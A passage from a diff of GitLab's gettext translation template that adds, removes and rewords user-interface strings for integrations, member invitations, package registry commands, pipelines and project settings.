msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
